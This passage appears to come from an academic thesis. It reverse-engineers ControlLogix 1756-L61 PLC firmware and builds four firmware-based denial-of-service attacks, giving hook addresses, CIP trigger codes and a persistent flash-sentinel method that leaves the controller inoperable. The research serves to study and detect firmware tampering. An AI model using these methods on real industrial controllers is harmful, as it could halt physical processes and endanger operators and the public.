address 0xD00000. Once loaded, control is transferred to the initial jump instruction at
address 0xD00000.
Within the unmodiﬁed ﬁrmware image, two areas are worth note. Address
0xF194D4 contains an error handling vector with a sequence of error codes that are set
as arguments prior to calls made to a generic error handling routine. Address 0xF6176C
contains generic XML associated with a function used to write the XML conﬁguration ﬁle
to ﬂash.
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4.1.2.2 Dynamic Analysis.
The primary advantage of dynamic analysis is testing execution paths in the
unmodiﬁed ﬁrmware. As condition tests are encountered during static analysis, it is
diﬃcult to determine normal execution paths and which paths are taken as exceptions.
Likewise, the unmodiﬁed ﬁrmware makes extensive use of addressable condition ﬂags for
testing the status of hardware. In static analysis, it is diﬃcult to determine the condition
codes used by the unmodiﬁed ﬁrmware. The JTAG interface provides the ability to test
execution paths by setting breakpoints at memory locations and testing for read/write
access. Note that after startup, the hardware monitor is activated by writing value 0x10C7
to address 0x801028C. After the hardware monitor is activated, the JTAG hardware
debugger cannot be used to step through instructions unless the activation function is
bypassed by altering the program counter register (pc). However, the debugger can still
be used for breakpoint testing, capturing register values, and capturing memory images at
breakpoints.
4.1.3 Identiﬁed Firmware Sections.
This section contains descriptions of notable areas of the ﬁrmware image. This
list is not exhaustive, but rather highlights areas of the ﬁrmware that are used in attack
development.
4.1.3.1 Diagnostic Test.
Starting at address 0xF37498 is a function that performs a series of math tests on
all registers of the CPU. As seen in Figure 4.2 the function returns a 0x0 to the calling
function in register r0 if all math tests were successful. If the CPU experienced any
failures, the function returns 0xFFFFFFFF to the calling function in r0.
4.1.3.2 Processor Mode Diagnostics.
The unmodiﬁed ﬁrmware image contains four subroutines called ClControllerLog
0 through 3. Assuming the name is associated with a logging feature, the function is
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Figure 4.2: Diagnostic Routine Return Codes.
tested using the JTAG interface. Breakpoint testing shows that ClControllerLog 0 is
called only in the event of certain changes to the operating mode of the ControlLogix
1756-L61 PLC. In particular, the function is called when uploading a new ﬁrmware
image, or when changing the device mode between RUN or PROGRAM either remotely
using RSLogix or locally using the front panel mode switch. From this function, the
execution path was traced to the function cpmode 1 where the key setting is polled.
Examination of the function reveals that it is called continuously. cpmode 1 contains a
jump table as an event handler. Four of the conditions in the jump table tie directly to
the four possible mode settings of the ControlLogix 1756-L61 PLC which are RUN,
PROGRAM, REMOTE RUN, and REMOTE PROGRAM. Each of the four conditions
are handled in the same manner. Registers r0 and r3 are set with diﬀerent values (shown
in Table 4.1) speciﬁc to each mode, and the logging function is called. An example of the
REMOTE RUN mode change condition in cpmode 1 is shown in Figure 4.3.
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Figure 4.3: REMOTE RUN Mode Change Condition.
Table 4.1: Mode Setting Register Values.
Mode r0 Value r3 Value
PRGM 0x11 0x1
RUN 0x11 0x2
REM PRGM 0x12 0x1
REM RUN 0x12 0x2
cpmode 1 contains two characteristics that make it a desirable target for modiﬁca-
tion. First, the function is executed continuously. A function call inside cpmode 1 can be
hooked and used to redirect to an inserted function. Execution can also be returned to the
original intended call and the ControlLogix 1756-L61 PLC can continue to function nor-
mally. Second, the function contains code that only executes under known controllable
conditions. For example, the mode changes could be used to signal execution of an alter-
nate function.
4.1.3.3 CIP Object Class Manager.
Allen-Bradley PLCs use CIP for sending commands or messages between modules
or across a network. CIP is an object oriented protocol that implements a hierarchy
of object classes [49]. CIP commands are sent to the intended module through serial
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communications, Ethernet, or directly across the backplane. In the case of Ethernet, the
Ethernet/IP protocol encapsulates the CIP message. Once the CIP message is received,
the Ethernet module strips the Ethernet/IP header and routes the CIP message to the
designated chassis slot. At the top level of the hierarchy are object classes. Two object
classes used in the ﬁrmware image are the connection manager object and the identity
object. Within an object class are service and instance identiﬁers [39]. When sending a
CIP message, the request must go to a speciﬁc object class with a speciﬁc instance and a
valid service.
Figure 4.4: Service Code Tests in cmconmgr.
Three of the connection services associated with the connection manager object are
the forward open, forward close, and unconnected send which use hexadecimal codes
0x54, 0x4E, and 0x52, respectively. Figure 4.4 shows all three connection service tests in
function cmconmgr. The cmconmgr function is called by an unlabeled function (renamed
to ren classjumptable as shown in Figure 4.5) containing a jump table. The jump
table test for calling the connection manager function checks for the value 0x6 shown
in Figure 4.6, which matches the value of the object class for the connection manager
[39]. This indicates that the calling subroutine is the CIP stack object class handler. This
conjecture is validated by setting a breakpoint in a subroutine called when the object class
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Figure 4.5: Class Handler Call to Connection Manager.
is an identity object using class code 0x1. The test for the identity object class is shown in
Figure 4.7.
Figure 4.6: Connection Manager Object Class Test.
When an identity object request is sent to the ControlLogix 1756-L61 PLC using
CIP, the breakpoint is triggered. An argument passed to the identity object handler
contains an address to a data structure. The exact layout of the memory structure is not
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Figure 4.7: Test For Identity Object Class.
immediately decipherable from the instructions in the function. Dumps, generated using
JTAG, of the ﬁrst 128 bytes at that address, however, reveal that the service and instance
identiﬁer are contained in the ﬁrst and third bytes, respectively. This was validated by
sending three identity requests to the object handler with diﬀerent service and instance
identiﬁers. Two of the attempts included invalid service identiﬁers sent to the object
handler. Results are shown in Figure 4.8, Figure 4.9, and Figure 4.10. In each case, byte
one and byte three in the structure matched the service and instance codes in the CIP
message. Using this function, any combination of unused service and instance identiﬁers
can be sent to the ControlLogix 1756-L61 PLC as long as the CIP message is sent as
an identity object class. This function can be exploited to use identiﬁers that would not
normally be used operationally to trigger an embedded exploit.
Figure 4.8: Case 1 - Service 0x1 Instance 0x1.
4.1.3.4 Non-Volatile Storage.
Evaluation of the interaction with ﬂash memory in the unmodiﬁed ﬁrmware image
reveals the Numonyx ﬂash chip has 64 writable blocks of 128KB each for a total of
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Figure 4.9: Case 2 - Service 0x3 Instance 0x2.
Figure 4.10: Case 3 - Service 0x4 Instance 0x6.
8MB of ﬂash memory. The ﬂash eraser function provides clues to determine the size
of ﬂash memory, and accepts two arguments. The ﬁrst argument is the block number
indicating the ﬁrst block to be erased, and the second argument is the block number
of the last block to be erased. The arguments are tested in the routine to verify that the
numbers falls within the range of 0x0 to 0x3F (0 to 63 decimal) as seen in Figure 4.11.
The compare instructions starting at address 0xD6844C test the starting argument. The
compare instructions at address 0xD68464 test the end argument. The block numbers are
converted to oﬀsets into ﬂash memory by shifting the binary value 17 bits. For example,
0x3F converted to binary and shifted left 17 bits becomes 0x7E0000 which is a valid
oﬀset into ﬂash memory.
Instructions at address 0xD68464, as seen in Figure 4.12, provide further evidence
that the routine erases ﬂash memory by storing the block erase and program/erase resume
codes in registers that are later sent to block addresses in the ﬂash memory address range
as shown in Figure 4.13. The instruction at address 0xD6848C sets register r9 to the ﬂash
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Figure 4.11: Test Start and End Arguments for Valid Range.
base address of 0xB000000 which is later added to the block number oﬀsets. Referring
to the previous example, after block number 0x3F is converted to the oﬀset 0x7E0000, it
is added to the base address which results in the absolute address 0xB7E0000 or the start
of the last 128KB of ﬂash memory. Note that this particular type of ﬂash memory must
be erased in blocks, but is single byte readable/writeable indicating that block numbers of
the type found in this function will not be found in functions used to read from or write to
ﬂash memory [35].
Figure 4.12: Setup Flash Block Erase Control Signals.
A search for the command codes found in the Numonyx ﬂash memory chip data
sheet reveals a function that includes a reference to the base address of ﬂash memory, and
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Figure 4.13: Setting Block Erase Command Code Values and Sending to Flash Memory.
the use of the buﬀered program code with conﬁrmation. This function resides at address
0xD68574. Analysis of one of the calling functions reveals the structure of the function
call arguments. Prior to the ﬂash writing function call, registers r0, r1, and r2 are set to
the arguments used by the ﬂash writing function. Register r0 is set to the source address
of a block of data. Register r1 is set to a memory location holding the pointer to the ﬂash
memory destination address. Register r2 is set to the length of the data. Within the ﬂash
writing function is a reference to the base address of ﬂash memory, and the expected
references to command codes 0xE8 and 0xD0. Evaluation of the function using the JTAG
interface conﬁrms that the function provides the ﬂash writing service. Evaluation consists
of modifying the destination address prior to the function call to an unused block in ﬂash
memory. The function call is executed with a breakpoint set immediately after the call
return. When viewing the contents of ﬂash memory using the debugger, the expected data
is present in the previously empty area of ﬂash.
The CIP based persistent DoS attack works by setting a sentinel value in ﬂash.
The attack code does not contain a recovery mechanism and only executes a ﬂash write
operation. However, the ControlLogix 1756-L61 PLC must be recoverable for analysis
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purposes. Manually executing the ﬂash erase function deletes the area of ﬂash memory
containing the sentinel value and returns the ControlLogix 1756-L61 PLC to normal
operations. The ControlLogix 1756-L61 PLC is restored by using the JTAG debugger to
pause execution. Once paused, the pc register is set to the start of the ﬂash erase function
at address 0xD68428. Registers r0 and r1 are set to 0x3E representing the block where
the sentinel is stored. A breakpoint is set at the end of the erase function, and the function
is allowed to execute. The ControlLogix 1756-L61 PLC is power cycled after recovery.
4.1.3.5 Additional Notable Areas.
The areas of the ﬁrmware image described in this section were discovered during the
reverse engineering eﬀort. These sections were not needed during attack development but
may be useable for future eﬀorts.
An impediment to the reverse engineering eﬀort while using the JTAG interface is
the hardware monitor on the PLC. This monitor disables the PLC if it detects a freeze
or hangup which includes stopping the execution of instructions using the debugger.
However, the monitor does not function through startup or during ﬁrmware initialization.
Traces show that a function called at 0xD00180 is used to start the hardware monitor.
The function, which is labeled as Hwsupp 0, tests for the code that indicates whether the
hardware monitor is active or not. Evaluation using the debugger reveals that skipping
this function allows further tracing using the debugger, but does not permanently disable
the monitor. Analysis of the function shows that the address that likely maintains the
status of the monitor is 0x801028C. Code 0x7FFF indicates the monitor is disabled, and
code 0x10C7 indicates the monitor is enabled. Figure 4.14 and Figure 4.15 show the code
tests in the function. References to both the location and codes are present throughout the
ﬁrmware image, but are not tested using a single function. The dispersed checks make
disabling the hardware monitor diﬃcult. Further work could modify the ﬁrmware image
to disable all monitor checks allowing the ﬁrmware to be debugged at any point.
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Figure 4.14: Test for Inactive Monitor.
Figure 4.15: Test for Active Monitor.
Two fault handling mechanisms are worth noting for their possible use in future
exploits. A function at 0xF191E8 appears to be a generic fault handler used throughout
the unmodiﬁed ﬁrmware image. As shown in Figure 4.16, this function takes the name of
the failing function as an argument for reporting. Such a function may provide exploitable
execution paths or locations where execution can be redirected to arbitrary code. A
component of the fault handling mechanism is a vector of 79 error codes as seen in
Figure 4.17. The error codes can be used to categorize diﬀerent error behaviors.
Figure 4.16: Calls to Fault Handler.
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Figure 4.17: Start of Fault Handling Jump Table.
The second fault handling mechanism worth noting is a function used by almost
all procedures in the ﬁrmware image. The stack has a ﬁxed amount of space but is
expandable if needed. The function shown in Figure 4.18 checks the bound of the stack
and adds space if needed. It accepts the amount of space needed as an argument. The
stack space manager then calls a function that tests the various CPU modes as seen in
Figure 4.19. The ARM CPU has several execution modes. Normally the processor runs
in User mode, but it also has several privileged modes used for diﬀerent external events
or interrupts [6]. Tracing this function and how it is used may introduce ways to run the
processor in a privileged mode that would not normally be available.
The ﬁnal area worth examining is the CIP object handler. Vendors can deﬁne their
own CIP objects. Since examination of this object handler exposed how various objects
are handled, further examination of this function could reveal all vendor deﬁned CIP
objects. The objects may be exploitable similar to the identity object used in the remotely
triggered attacks. Examination of all functions called by this object handler could reveal
vendor deﬁned services as well.
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Figure 4.18: CPU Mode Test Function.
4.2 Attack Development
This section describes the results of the attack development eﬀort. All four attacks
are DoS attacks that disable the ControlLogix 1756-L61 PLC by executing an endless
loop which causes the hardware monitor to stop the CPU. For the three non-persistent
attacks, the fault is used because it can be cleared by using either the mode switch reset
method or a power cycle. This rapid recovery speeds the testing process. Note that rapid
recovery is not possible with the CIP based persistent DoS attack.
To create space for new instructions and data in the repackaged ﬁrmware, the math
diagnostic function is modiﬁed to immediately return a 0x0 and bypass all math tests as
shown in Figure 4.20. The modiﬁcation provides room for 147 32-bit words in the form
of either instructions or data starting at address 0xF374AC.
The three non-persistent attacks do not interfere with the ﬁrmware installation
process. As such, the loading of a diﬀerent ﬁrmware image overwrites the repackaged
ﬁrmware and the attacks are no longer applicable. Note that for the time based non-
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Figure 4.19: CPU Mode Test Function.
Figure 4.20: Modiﬁed Diagnostic Routine.
persistent DoS attack, the ﬁrmware upgrade must ﬁnish before the timer expires. If
the timer expires during the upgrade, the transfer fails and the ControlLogix 1756-L61
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PLC reverts to a default ﬁrmware image. The CIP based persistent DoS attack only
allows ﬁrmware upgrades if the attack has not been executed. Indeed, after execution,
the ControlLogix 1756-L61 PLC fails to reach a stable state and prevents network
communication.
4.2.1 Redirecting Execution.
ARM branch instructions alter execution paths and operate using relative oﬀsets
rather than absolute addresses [6]. The branch opcode contains condition settings
when using the condition code ﬂags and an oﬀset value. The branch instruction also
contains an option to push a return instruction pointer to the lr register. If the program
encounters a return instruction, execution will return to the instruction pointed to by the
lr register. The oﬀset value is a signed count of the number of instructions the pc register
should move forward or backward and resides in bits 0 to 23 of the branch instruction
as seen in Figure 4.21. Function hooks are built by altering the jump instruction oﬀsets
using Equation 4.1 to point to the start of the inserted operation. Hooks are used in the
following attacks to intercept normal function calls. Using instruction counts as the
oﬀset is possible on the ARM processor because the instruction set uses ﬁxed 32-bit
instructions. The equation to calculate the jump instruction oﬀset is:
(
(Dest. Address − Start Address)
4
)
− 2 = Jump Instruction Oﬀset (4.1)
Division by four converts the address oﬀset into an instruction oﬀset, and two is
subtracted from the result because the instruction pipeline is two instructions past the
currently executing instruction [38].
4.2.2 Time Based Non-Persistent Denial-of-Service Attack.
The initial attack is a time based non-persistent DoS attack. Once the repackaged
ﬁrmware is installed and running on the ControlLogix 1756-L61 PLC, an iterator built
into the repackaged ﬁrmware begins a countdown. When the iterator reaches zero, the
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Figure 4.21: Branch Instruction Structure.
31-28 27-25 23-0
Condition Opcode Signed Oﬀset
ControlLogix 1756-L61 PLC faults and ceases execution until restarted. Requirements
for this attack are a place to insert the counting instructions, and a location that runs
continuously to insert the function hook. This attack utilizes the math diagnostic routine
for the instruction space, and hooks the cpmode 0 call in cpmode 1 function as seen in
Figure 4.23. Each call to the inserted function decrements and tests the iterator until the
counter reaches zero. At zero, the inserted function pushes the ControlLogix 1756-L61
PLC into a fault state by executing an endless loop. The attack steps are summarized in
Figure 4.22. The ControlLogix 1756-L61 PLC continues to operate normally until the
iterator reaches zero. No unexpected faults are generated during ladder logic execution, or
while updating ladder logic or ﬁrmware.
4.2.3 Mode Change Based Non-Persistent Denial-of-Service Attack.
The mode change based non-persistent DoS attack counts remote mode changes and
executes after a speciﬁed amount is reached. Each transition between REMOTE RUN
and REMOTE PROGRAM is counted. When the mode change count reaches four, the
ControlLogix 1756-L61 PLC faults and ceases execution. Note that mode changes using
the front panel mode switch are ignored.
The attack process is shown in Figure 4.25. Once the ControlLogix 1756-L61 PLC
records a mode change, subsequent attempts to switch to the same mode are ignored
indicating that the counter only increments as mode changes alternate.
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Figure 4.22: Process Flow - Time Based Non-Persistent DoS Attack.
Figure 4.23: Function Hook for Time Based Non-Persistent DoS Attack.
To insert mode change based non-persistent DoS attack code, hooks are placed at
the four locations in cpmode 1 where mode changes are recorded. The locations are
adresses 0xD46484, 0xD464A0, 0xD46534, and 0xD46574. Figure 4.24 shows the hook
location for the REMOTE RUN mode switch. The four checks are a small subset of jump
67
table entries indicating that the cpmode 1 function records or logs multiple events. If the
count is not reached, saved registers are restored and the call is forwarded to the intended
function where the ﬁrmware continues to operate normally.
Figure 4.24: Function Hook for the Mode Change Based Non-Persistent DoS Attack.
Figure 4.25: Process Flow - Mode Based Non-Persistent DoS Attack.
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4.2.4 CIP Based Non-Persistent Denial-of-Service Attack.
The CIP based non-persistent DoS attack uses the CIP object class handler to
intercept identity objects sent to the ControlLogix 1756-L61 PLC. If an identity object
is sent, the CIP class handler forwards the identity object to the identity object handler
regardless of whether the service and instance codes embedded in the object are valid or
not. The identity object handler contains a reference to the identity structure that includes
the service and instance codes. By redirecting to an injected function, the service and
instance codes are tested and action taken based on the results. If the codes are valid,
execution continues to the normal identity object handler. If the codes are those chosen by
the attacker, the injected function executes the DoS attack. By using codes not normally
recognized by the unmodiﬁed ﬁrmware, multiple commands can be programmed into the
repackaged ﬁrmware.
Figure 4.26: Process Flow - CIP Based Non-Persistent DoS Attack.
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The CIP based non-persistent DoS attack shown in Figure 4.26 contains three
tests. The ﬁrst test traps all CIP identity objects sent to the ControlLogix 1756-L61
PLC by hooking the identity object handler at address 0xD2FA4C. The test is shown in
Figure 4.27. The second test examines the identity object structure for a service code of
0xBB and instance code of 0xCC. If the codes are present in the identity object structure,
the sentinel value 0xAA is written to memory at 0xF37718. Other identity objects are
forwarded to the normal object handler. The third test resembles the hook in cpmode 1
(shown in Figure 4.28) used in the time based non-persistent DoS attack. Instead of
testing a counter, however, the CIP based non-persistent DoS attack code tests for the
presence of the sentinel value at 0xF37718 set by the CIP call. If the sentinel value is
present, the endless loop executes and faults the ControlLogix 1756-L61 PLC.
Figure 4.27: CIP Function Hook - CIP Based Non-Persistent DoS Attack.
4.2.5 CIP Based Persistent Denial-of-Service Attack.
The CIP based persistent DoS attack is implemented by modifying the CIP based
non-persistent DoS attack. The process ﬂow is shown in Figure 4.30. In the previous
attacks, all sentinels are written to volatile storage. The CIP based persistent DoS attack
calls an existing ﬂash writing function to store the sentinel value in ﬂash memory as
shown in Figure 4.29. Note that hooked functions are identical to those used in the
CIP based non-persistent DoS attack, which are the CIP object handler, and cpmode 1
functions. The CIP based persistent DoS attack code writes eight bytes to ﬂash in an
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Figure 4.28: cpmode Function Hook - CIP Based Non-Persistent DoS Attack.
empty area at address 0xB7C0000. The sentinel test examines the ﬂash memory location
rather than a location in volatile storage. If the sentinel value exists, the CIP based
persistent DoS attack executes an endless loop and faults the ControlLogix 1756-L61
PLC.
Figure 4.29: Call to Flash Write Function - CIP Based Persistent DoS Attack.
By using the ﬂash write operation, a sentinel is written to an unused area of ﬂash
and the sentinel remains persistent even if the ControlLogix 1756-L61 PLC loses power.
Since the sentinel check replaces cpmode 1 hook used during the time based non-
persistent DoS attack and cpmode 1 executes continuously, the ControlLogix 1756-L61
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PLC never enters a steady state and continuously faults. For the previous non-persistent
attacks, the ControlLogix 1756-L61 PLC is recoverable using the mode switch reset or by
cycling power. In the CIP based persistent DoS attack when the ControlLogix 1756-L61
PLC is reset or power cycled, it faults as soon as the sentinel test is executed. The only
feasible method of recovery requires using JTAG to manually modify ﬂash memory or
returning the ControlLogix 1756-L61 PLC to the manufacturer for repair.
Figure 4.30: Process Flow - Persistent DoS Attack Using CIP.
4.2.6 Attack Evaluation Results.
This section reports the results of the functionality and stability evaluations for each
repackaged ﬁrmware. Results are reported individually for each repackaged ﬁrmware. For
each attack instance, once the evaluation is complete, the ControlLogix 1756-L61 PLC is
restored to a normal operational state by installing the unmodiﬁed ﬁrmware, completing a
power cycle, and allowing the ControlLogix 1756-L61 PLC to stabilize for a minimum of
ﬁve minutes.
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4.2.6.1 Time Based Non-Persistent DoS Attack Evaluation Results.
The time based non-persistent DoS attack is evaluated at three time amounts and
for stability as shown in Table 4.2. After each time level evaluation, the ControlLogix
1756-L61 PLC is power cycled and the next repackaged ﬁrmware is installed before
the countdown timer expires. The iterator modiﬁed after each time level is at address
0xF37718 in the repackaged ﬁrmware. Evaluation begins by ﬁrst installing the
repackaged ﬁrmware containing the time based non-persistent DoS attack and allowing
the repackaged ﬁrmware to stabilize for 5 minutes. To evaluate the one minute attack
execution, the iterator in the repackaged ﬁrmware is set to 1200 using a hexadecimal
editor. Note that pilot tests show that the repackaged ﬁrmware decrements the iterator
approximately 1200 times per minute. Also note that the execution rate for the intercepted
function used in this attack may change depending on environmental conditions or
conﬁguration. Once modiﬁed, the repackaged ﬁrmware is installed and executed. Results
of the evaluation show that the repackaged ﬁrmware generates a fault at one minute.
The ten minute attack execution is evaluated next by setting the iterator to 12,000 using
a hexadecimal editor. After modiﬁcation, the repackaged ﬁrmware is installed and
executed. Results of the evaluation show that the repackaged ﬁrmware generates a fault at
ten minutes. The ﬁnal one hour attack execution is evaluated next by changing the iterator
to 72,000 using a hexadecimal editor. After modiﬁcation, the repackaged ﬁrmware is
installed and executed. Results of the evaluation show that the repackaged ﬁrmware
generates a fault at one hour. Stability is evaluated last by setting the iterator to a large
enough value to operate for a minimum of eight hours. For this evaluation, the iterator is
set to 16,777,216. After modiﬁcation, the repackaged ﬁrmware is installed and executed.
The stability evaluation shows that the repackaged ﬁrmware is stable for a minimum
of eight hours. The repackaged ﬁrmware containing the time based non-persistent DoS
attack is considered functional and stable.
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Table 4.2: Time Based Non-Persistent DoS Attack Evaluation.
Evaluation Type Result
Attack Execution Evaluation (1 minute) SUCCESS
Attack Execution Evaluation (10 minutes) SUCCESS
Attack Execution Evaluation (1 hour) SUCCESS
Stability Evaluation (8 hours) SUCCESS
4.2.6.2 Mode Change Based Non-Persistent DoS Attack Evaluation Results.
The mode change based non-persistent DoS attack is evaluated under three
conditions as shown in Table 4.3. After each condition evaluation, the ControlLogix
1756-L61 PLC is power cycled and allowed to stabilize for ﬁve minutes. The same
repackaged ﬁrmware remains installed for the duration of the evaluation. Evaluation
begins by ﬁrst installing the repackaged ﬁrmware containing the mode change based non-
persistent DoS attack. The ﬁrst condition is the remote mode change attack execution
evaluation demonstrating that the repackaged ﬁrmware generates a fault after four
consecutive remote mode changes. After the ControlLogix 1756-L61 PLC is stable,
RSLogix is used to alternate between REMOTE RUN and REMOTE PROGRAM four
times. Results of the attack evaluation show that the repackaged ﬁrmware operates
as expected and generates a fault immediately after the fourth mode change. The
ControlLogix 1756-L61 PLC is reset and allowed to stabilize in preparation for the
second condition evaluation. The second condition demonstrates that the repackaged
ﬁrmware does not cause a fault when using the front panel switch to change modes. After
stabilization, the front panel mode switch is alternated between RUN and PROGRAM
eight times. Results of the second condition evaluation show that changing the front panel
mode switch does not cause the repackaged ﬁrmware to generate a fault. After both mode
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change evaluations, it is determined that the repackaged ﬁrmware correctly distinguished
between remote mode changes and panel switch mode changes. The third condition
is the stability evaluation demonstrating that the repackaged ﬁrmware is stable for a
minimum of eight hours. The ControlLogix 1756-L61 PLC is power cycled and allowed
to stabilize for ﬁve minutes. After stabilization, the repackaged ﬁrmware successfully
remains operational for eight hours demonstrating stability. The repackaged ﬁrmware
containing the mode change based non-persistent DoS attack is considered functional and
stable.
Table 4.3: Mode Change Based Non-Persistent DoS Attack Evaluation Results.
Evaluation Type Result
Attack Execution Evaluation (Remote Mode Change) SUCCESS
Switch Mode Change Evaluation SUCCESS
Stability Evaluation (8 hours) SUCCESS
4.2.6.3 CIP Based Non-Persistent DoS Attack Evaluation Results.
The CIP based non-persistent DoS attack is evaluated under three conditions as
shown in Table 4.4. After each condition evaluation, the ControlLogix 1756-L61 PLC
is power cycled and allowed to stabilize for ﬁve minutes. The same repackaged ﬁrmware
remains installed for the duration of the evaluation. Evaluation begins by installing the
repackaged ﬁrmware containing the CIP based non-persistent DoS attack and allowing
the repackaged ﬁrmware to stabilize for ﬁve minutes. The ﬁrst condition is the malicious
CIP command attack execution evaluation demonstrating that the repackaged ﬁrmware
generates a fault after intercepting a CIP identity object containing the service code
0xBB and instance code 0xCC. After the ControlLogix 1756-L61 PLC is stable, the
malicious CIP command is sent to the repackaged ﬁrmware. Results of the ﬁrst condition
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evaluation show that the repackaged ﬁrmware operates as expected and generates a fault
upon receipt of the malicious CIP command. The ControlLogix 1756-L61 PLC is reset
and allowed to stabilize in preparation for the second condition evaluation. The second
condition is that the repackaged ﬁrmware does not cause a fault when sent a valid CIP
command. After stabilization, the valid CIP identity object is sent to the repackaged
ﬁrmware. Results of the second condition evaluation show that a valid CIP command
does not cause the repackaged ﬁrmware to generate a fault. After both CIP command
evaluations, it is determined that the repackaged ﬁrmware correctly distinguished between
a valid CIP identity object, and the malicious CIP identity object. The third condition is
the stability evaluation demonstrating that the repackaged ﬁrmware remains stable for a
minimum of eight hours. The ControlLogix 1756-L61 PLC is power cycled and allowed
to stabilize for ﬁve minutes. After stabilization, the repackaged ﬁrmware successfully
remains operational for eight hours demonstrating stability. The repackaged ﬁrmware
containing the CIP based non-persistent DoS attack is considered functional and stable.
Table 4.4: CIP Based Non-Persistent DoS Attack Evaluation.
Evaluation Type Result
Attack Execution Evaluation (Malicious CIP Command) SUCCESS
Valid CIP Command Evaluation SUCCESS
Stability Evaluation SUCCESS
4.2.6.4 CIP Based Persistent DoS Attack Evaluation Results.
The CIP based persistent DoS attack is evaluated under four conditions as shown
in Table 4.5. Because of the diﬃculty of recovery, the malicious CIP command
condition is tested ﬁrst, followed by the fault persistence evaluation. After completion,
the ControlLogix 1756-L61 PLC is restored using JTAG. For the remaining two
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condition tests, the repackaged ﬁrmware remains installed, but the attack is not executed.
Evaluation begins by installing the repackaged ﬁrmware containing the CIP based
persistent DoS attack and allowing the repackaged ﬁrmware to stabilize for ﬁve
minutes. The ﬁrst condition is the malicious CIP command attack execution evaluation
demonstrating that the repackaged ﬁrmware generates a fault after intercepting a CIP
identity object containing the service code 0xBB and instance code 0xCC. After the
ControlLogix 1756-L61 PLC is stable, the malicious CIP command is sent to the
repackaged ﬁrmware. Results of the ﬁrst attack evaluation show that the repackaged
ﬁrmware operates as expected and generates a fault upon receipt of the malicious CIP
command. The second condition is the fault persistence evaluation demonstrating that
once the attack is executed, the fault remains persistent even after attempting to reset the
ControlLogix 1756-L61 PLC. While the ControlLogix 1756-L61 PLC remains in fault
mode, the front panel mode switch reset and power cycle reset are both attempted. Results
of the fault persistence condition evaluation show that the repackaged ﬁrmware operates
as expected and the fault remains persistent despite attempts to reset the ControlLogix
1756-L61 PLC. After completion of the fault persistence condition test, the ControlLogix
1756-L61 PLC is restored using JTAG. The repackaged ﬁrmware remains installed and
is allowed to stabilize for ﬁve minutes. The third condition is the valid CIP command
evaluation demonstrating that the repackaged ﬁrmware does not fault when sent a valid
CIP command. After stabilization, the valid CIP identity object is sent to the repackaged
ﬁrmware. Results of the third condition evaluation show that a valid CIP command
does not cause the repackaged ﬁrmware to generate a fault. After both CIP command
evaluations, it is determined that the repackaged ﬁrmware correctly distinguished between
a valid CIP identity object, and the malicious CIP identity object. The fourth condition is
the stability evaluation demonstrating that the repackaged ﬁrmware remains stable for a
minimum of eight hours. The ControlLogix 1756-L61 PLC is power cycled and allowed
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to stabilize for ﬁve minutes. After stabilization, the repackaged ﬁrmware successfully
remains operational for eight hours demonstrating stability. The repackaged ﬁrmware
containing the CIP based persistent DoS attack is considered functional and stable.
Table 4.5: CIP Based Non-Persistent DoS Attack Evaluation.
Evaluation Type Result
Attack Execution Evaluation (Malicious CIP Command) SUCCESS
Fault Persistence Evaluation SUCCESS
Valid CIP Command Evaluation SUCCESS
Stability Evaluation SUCCESS
4.3 Performance Analysis Results
Once the repackaged ﬁrmware images have been evaluated for functionality and
stability, they are further evaluated for performance under the workload of a process
program. This section evaluates each attack to determine if changes made to the
repackaged ﬁrmware impact process program execution times. The unmodiﬁed ﬁrmware
process program execution times provide the baseline performance standard. The
performance of each repackaged ﬁrmware is compared to the baseline to determine if the
modiﬁcations negatively impact process program execution performance. Table 4.6 shows
the results of the performance analysis.
The small and large process programs provide the workload to the unmodiﬁed
and repackaged ﬁrmware images. The performance of the ﬁrmware is determined by
measuring the time it takes to execute one iteration of the process program. The process
programs used during performance analysis are ladder logic project ﬁles supported by
Allen-Bradley. The ladder logic projects were developed by Dunlap to evaluate timing
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based side channel analysis for detecting anomalies in ﬁrmware [20]. As observed by
Dunlap, the small workload has a mean execution time of 93.42μs, and the large workload
has a mean execution time greater than 3173.81μs.
Table 4.6: Performance Analysis Results Summary.
Mean Execution Time (μs) p-Value
Workload Small Large Small Large
Unmodiﬁed Firmware 93.9160 3209.3660 N/A N/A
Time Based Non-Persistent DoS 93.9374 3208.8360 0.577058 0.031103
Mode Change Based Non-Persistent DoS 93.9088 3209.3940 0.607561 0.362736
CIP Based Non-Persistent DoS 93.8912 3208.3102 0.487549 0.000200
CIP Based Persistent DoS 93.9376 3209.3094 0.035604 0.923392
Each ﬁrmware image is monitored while executing both the small and large
workloads generating a total of ten sets of data. Each data set contains 10,000 process
program execution time measurements taken at intervals of 250ms. The mean execution
time from all measurements taken using the small workload is 93.9182μs, and
3209.0431μs for the large workload. The mean execution times for both the unmodiﬁed
and repackaged ﬁrmware images are larger than, but consistent with the mean execution
times previously observed by Dunlap [20]. The exact cause of the diﬀerence in mean
execution times is unknown, but measurements for both experiments were gathered
using physically diﬀerent ControlLogix 1756-L61 PLCs. The repackaged ﬁrmware mean
execution times for the small workload are consistent with the mean execution time from
the unmodiﬁed ﬁrmware image. The range of mean values for the small workload is
0.0464μs. For the large workload, similar results demonstrate consistent mean execution
times with a range of mean values of 1.0838μs.
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Although no performance penalty is readily observable, comparison tests were
performed using a one-way permutation test using 9999 Monte-Carlo resamplings. The
permutation test identiﬁes if there is a statistical diﬀerence in mean execution times and is
the same used by Dunlap for detecting unauthorized ﬁrmware modiﬁcations [20]. The
performance metric used in this evaluation is process program execution times. The
p-value threshold for signiﬁcance set by Dunlap is 0.0001, and that same threshold is
used in this evaluation. The null hypothesis is that there is no performance diﬀerence
between the unmodiﬁed and repackaged ﬁrmware. The alternative hypothesis is that the
modiﬁcations in the repackaged ﬁrmware incur a performance penalty.
As seen in Table 4.6 all calculated p-values are above the threshold of signiﬁcance,
failing to reject the null hypothesis. There is no signiﬁcant diﬀerence in process program
execution times between the repackaged and unmodiﬁed ﬁrmware images. Indeed, The
p-values for all comparisons indicate that there is no statistically signiﬁcant diﬀerence
in performance between the unmodiﬁed ﬁrmware and the repackaged ﬁrmwares when
using a signiﬁcance level of .0001. Note the result of the comparison between the CIP
based non-persistent DoS attack approaches the threshold p-value. In this result, the
mean execution time of the repackaged ﬁrmware using the large workload is faster than
the mean execution time of the unmodiﬁed ﬁrmware image. The result does not imply a
performance penalty and the mean execution time diﬀers by 1.06μs which may represent
a valid span of execution times under real-world operating conditions.
4.4 Results Summary
The experiment results show that it is possible to build a functional and stable attack
against a PLC with minimal or no impacts to performance. A combination of hardware
and ﬁrmware analysis provides data about the structure and operation of the ﬁrmware
image. Information determined from the analysis allows the attacker to craft an exploit
capable of disabling the PLC. Finally, performance analysis shows that process program
